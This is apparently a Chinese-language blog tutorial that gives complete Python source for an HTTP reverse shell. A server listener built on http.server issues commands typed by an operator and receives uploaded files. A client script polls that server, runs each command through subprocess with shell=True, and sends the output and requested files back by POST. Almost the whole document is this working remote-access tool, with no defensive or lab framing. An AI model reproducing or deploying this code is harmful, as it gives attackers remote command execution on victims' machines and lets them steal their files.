利用Python3 http.server模块实现基于HTTP协议的反向shell(含命令执行、文件下载)
服务器端代码利用http.server内置模块,实现内置的do_GET以及do_POST方法,一定要根据规则给出response以及end_header。
同时为了实现文件下载,需要用到cgi模块,用于解析文件参数。
1 import http.server 2 import optparse 3 import sys 4 import cgi 5 6 7 8 class MyHandler(http.server.BaseHTTPRequestHandler): 9 def do_GET(self): 10 11 command = input("# ") 12 self.send_response(200) 13 self.send_header('Content-type','text/html') 14 self.end_headers() 15 self.wfile.write(command.encode('utf-8')) 16 17 18 19 20 def do_POST(self): 21 if self.path == '/stores': 22 try: 23 ctype,pdict = cgi.parse_header(self.headers['Content-Type']) 24 if ctype == 'multipart/form-data': 25 fs = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST'}) 26 else: 27 print("Unexpected post requests") 28 fs_up =fs['file'] 29 with open('test.png', 'wb') as o: 30 o.write(fs_up.file.read()) 31 self.send_response(200) 32 self.end_headers() 33 except Exception as e: 34 print(e) 35 return 36 37 self.send_response(200) 38 self.end_headers() 39 length = int(self.headers['Content-Length']) 40 post_data = self.rfile.read(length) 41 print(post_data.decode('utf-8')) 42 43 def get_params(): 44 parser = optparse.OptionParser("Usage: <Program> -p port") 45 parser.add_option('-p','--port',dest='port', type='int', help="Specify listener port") 46 options,args = parser.parse_args() 47 if options.port is None: 48 print(parser.usage) 49 sys.exit(0) 50 if options.port > 65535 or options.port < 0: 51 print("Enter valide port") 52 sys.exit(0) 53 return options.port 54 55 if __name__ == "__main__": 56 port = get_params() 57 try: 58 server = http.server.HTTPServer(("",port),MyHandler) 59 server.serve_forever() 60 61 except KeyboardInterrupt: 62 print("Exit the program") 63 server.socket.close() 64
客户端代码用requests模块实现:
1 import requests 2 import subprocess 3 import optparse 4 import sys 5 import time 6 import os 7 8 class HTTPClient: 9 def __init__(self) -> None: 10 self.target = self.get_params()[0] 11 self.port = self.get_params()[1] 12 self.url = "http://"+self.target + ":"+str(self.port) 13 # print(self.url) 14 15 16 def get_params(self): 17 parser = optparse.OptionParser("Usage: <Program> -p port") 18 parser.add_option('-p','--port',dest='port', type='int', help="Specify server port") 19 parser.add_option('-t', '--target', dest='target', type='string', help="Specify server IP address") 20 options,args = parser.parse_args() 21 if options.port is None or options.target is None: 22 print(parser.usage) 23 sys.exit(0) 24 25 return options.target, options.port 26 27 28 def run(self): 29 while True: 30 cmd = requests.get(self.url).text 31 if cmd.strip() == 'q': 32 break 33 34 elif cmd[0:8] == 'download': 35 file_path = cmd[9:] 36 if os.path.exists(file_path): 37 files = {'file':open(file_path,'rb')} 38 r = requests.post(self.url + '/stores',files=files) 39 else: 40 r = requests.post(self.url, data="The file does not exist".encode('utf-8')) 41 42 else: 43 try: 44 command_result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT,encoding='GBK') 45 except: 46 command_result = "Failed to execute" 47 finally: 48 requests.post(self.url,data=command_result.encode('utf-8')) 49 time.sleep(3) 50 51 52 if __name__ == "__main__": 53 httpclient = HTTPClient() 54 httpclient.run()
实现效果如下图所示:
STRIVE FOR PROGRESS,NOT FOR PERFECTION